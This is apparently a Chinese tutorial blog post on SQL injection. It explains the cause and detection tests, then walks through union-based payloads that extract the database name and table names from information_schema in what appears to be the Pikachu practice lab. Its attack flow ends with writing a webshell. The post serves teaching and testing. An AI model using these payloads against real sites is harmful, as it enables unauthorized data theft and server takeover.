首页 > 数据库 >SQL注入

SQL注入

时间:2024-10-17 19:46:15浏览次数:8  
标签:union sql -- SQL table select 注入

SQL注入漏洞

漏洞描述

        web程序对用户提交的参数没有做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了sql语句原有的逻辑,黑客就可以利用这个漏洞执行任意sql语句,比如增删改查

测试方法:

在发现有可控参数的地方使用sqlmap进行SQL注入检查,简单的可以手工测试,利用单引号、and  1=1  和  1=2

SQL注入的原理

sql注入漏洞产生需要满足两个条件

  • 参数可控,从前端给后端的参数内容是用户可以控制的
  • 参数带入数据库查询的:传入的参数会拼接到sql语句中,并且带入数据查询

当传入的参数为1'的时候:

select  *  from  users  where  id=1'

此语句不符合语法规范会报错

当用户传入的参数1 and 1=1时

select  *  from  users  where  id  =1  and  1=1

因为1=1是真,所以会返回id是1的结果

判断是否存在注入

  • id=1  and  1=1
  • id=1  and  1=2
  • id=1'  or  '1'='1'
  • id=1"  or  "1"="1"

sql注释符

  • --空格:单行注释
  • #:单行注释
  • /*  内容  */:多行注释

注入流程:

  • 判断是否存在注入
  • 判断字段数
  • 确定回显点
  • 查询数据库信息
    • vince'  union  select  database(),user()  --

  • 写入webshell

关于mysql注入相关的知识

在mysql5.0版本以后,MySQL默认有一个数据库叫information_schema库,库中有很多表,重点是这三个表:

  • schemata
    • schema_name字段,记录的所有库的名字
  • tables
    • table_schema  库的名字
    • table_name  表的名字
  • columns
    • table_schema  库的名字
    • table_name  表的名字
    • column_name  字段的名字

union联合注入

联合查询注入是两个表进行注入攻击,使用关键词union  select 对两个表进行联合,两个表的字段数量要一样,不然会报错

案例:

select  *  from  students  where  stuid=1  union  select  1,2,3,4,5,6  --

将union后面的数字可以替换成函数

select  *  from  students  where  stuid=1  union  select  database(),2,3,4,5,6  --

union联合注入

1.判断sql注入

2.判断字段数

3.用联合注入获取敏感信息

vince'  union  select  database(),2  --

获取到数据库名:pikejiu

4.获取表名

函数group_concat()                #将字段分组并拼接成一个字符串(一行输出)

vince'  union  select  (select  group_concat(table_name)  from  information_schema.tables  where  table_schema="pikajiu"),2  --

获取单的表名:httpinfo,member,message,users,xssblind

标签:union,sql,--,SQL,table,select,注入
From: https://blog.csdn.net/Taurus_HanKun/article/details/143026082

相关文章

  • MySql基础:基本查询
    目录1.INSERT(插入)1.1全列插入1.2指定列插入 1.3插入更新  1.4插入替换2.SELECT查询2.1SELECT列2.1.1全列查询2.1.2指定列查询2.1.3查询字段为表达式2.1.4为查询结果指定别名2.1.5查询结果去重 2.2WHERE查询 2.2.1比较运算查询2.2.1.1  >,......
  • 07-SQL注入(联合注入、报错注入、盲注)
    1、在不依赖于DVWA后端数据库的情况,如何通过前端验证的方法判断DVWA中的注入点是数字型注入还是字符型注入?(提示:用假设法进行逻辑判断)在dvwa靶场中SQLInjection模块输入1and1=1如果是数字型注入输入内容没有被网站进行任何处理,可以查询到输入内容被网站进行处理,通过隐式......
  • PostgreSQL慢SQL收集和解析
    postgresql通过log_statement参数记录慢SQL语句PostgreSQL可以不借助任何扩展实现对SQL日志的记录,主要依赖于两个参数,也即log_statement和log_min_duration_statement,1,记录的sql类型log_statement='all'可以是none,ddl,mod,all2,记录的sql执行时间阈值log_min_duration_stat......
  • 【PostgreSQL】PostgreSQL支持哪些类型的数据复制方法?
    PostgreSQL提供了多种数据复制方法,以满足不同的业务需求和场景。主要的数据复制方法可以分为两大类:物理复制(PhysicalReplication)和逻辑复制(LogicalReplication)。每种复制方式都有其特定的应用场景、优缺点以及实现机制。物理复制(PhysicalReplication)物理复制是基于......
  • SQL 分析函数看这篇函数就够了
    数据库SQL分析函数/窗口函数专题,绝对值得收藏!此专题几乎涵盖所有主流数据库,如Oracle、Hive、MySQL8.0、MaxComputer等。在企业面试中,分析函数问题更是备受青睐,无论是笔试还是面试,基本都绕不开。分析函数主要分为以下四类:聚合分析函数SUM:用于计算组中表达式的累积......
  • PostgreSQL 17重磅登场——世界上最成功的数据库
    朋友们,万众期待的PostgreSQL大版本发布又来了!这一次,PostgreSQL17带着全新的性能优化和开发者必备的新功能强势登场。与其说这是一场普通的更新,不如说它是一场专为高并发工作负载和海量数据量身打造的技术嘉年华! 在本次的发布说明中,PostgreSQL全球社区也毫不讳言地直接宣布......
  • mysql慢sql优化思路
    开启慢sql查询配置,或使用云服务厂商的慢sql统计,找到慢sql看下是不是使用了select*,如果是的话,改为查找字段,因为这样可以避免优化器去解析字段,单次查询可能效果不明显,但是一旦并发上来以后,这个就比较明显了,还有就是减少网络IO的消耗看下对应的数据量级,如果连表的话,是不是小表驱......
  • CitrixSQL Server 2016高可用之SQL镜像 SQL Server mirror 带见证服务器
    CitrixSQLServer2016高可用之SQL镜像SQLServermirror带见证服务器原来写过SQL-2008的镜像教程,时过境迁,现在流行2016了,当然也是因为自己常常用到这个功能,写下来SQL的镜像方法帮助不会的朋友。这个教程对于SQL2008\2012\2016以及2017都是可用的。三台SQL服务器,都安装好SQL软......
  • CitrixWindows SQL Server2016安装教程 SQL管理工具SSMS安装
    CitrixWindowsSQLServer2016安装教程SQL管理工具SSMS安装   ......
  • 2024/10/17日 日志 --》关于MySQL中的 约束、多表查询的初步学习笔记与整理
    今天推进了关于约束以及多表查询的内容,下一步是事务以及关于连接数据库JDBC的学习。点击查看代码----约束--1.概念:--·约束是作用于列上的规则用于限制加入表的数据--·约束的存在保证了数据库中数据的正确性、有效性和完整性--2.约束的分类--非空约束NOTNULL:......